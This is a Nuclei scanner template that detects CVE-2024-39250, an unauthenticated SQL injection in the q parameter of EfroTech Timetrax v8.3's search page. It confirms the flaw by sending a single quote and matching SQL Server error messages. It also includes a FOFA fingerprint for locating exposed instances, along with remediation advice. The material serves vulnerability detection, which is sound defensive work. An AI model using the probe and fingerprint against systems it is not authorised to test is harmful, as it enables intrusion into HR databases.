id: CVE-2024-39250

info:
  name: EfroTech Timetrax v8.3 - Sql Injection
  author: s4e-io,efran
  severity: high
  description: |
    EfroTech Timetrax v8.3 was discovered to contain an unauthenticated SQL injection vulnerability via the q parameter in the search web interface.
  impact: |
    Unauthenticated attackers can execute SQL injection attacks to extract or modify sensitive timetrax database information.
  remediation: |
    Update EfroTech Timetrax to a version later than v8.3 that patches the SQL injection vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-39250
    - https://www.tenable.com/cve/CVE-2024-39250
    - https://github.com/efrann/CVE-2024-39250
    - https://vuldb.com/?id.272268
  classification:
    epss-score: 0.88427
    epss-percentile: 0.99514
  metadata:
    vendor: efroTech
    product: timetrax
    fofa-query: icon_hash="-661694518"
  tags: cve,cve2024,sqli,timetrax,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /Login.aspx HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"TimeTrax - Cloud HR Software")'
          - 'contains(content_type, "text/html")'
          - "status_code == 200"
        condition: and
        internal: true

  - raw:
      - |
        GET /search.aspx?q=' HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body,"Incorrect syntax near","Unclosed quotation mark after the character string")'
          - 'contains(content_type, "text/html")'
          - "status_code == 500"
        condition: and
# digest: 4a0a00473045022100e7a6bec41aad7b1602f500daa488f7d41ead54bdea2e68b1b5651d0ccfaf836102202355a40b51e09c276e3e73a04e9b2b025228622d0b30c4126dc2af35a88a84f2:922c64590222798bb761d5b6d8e72950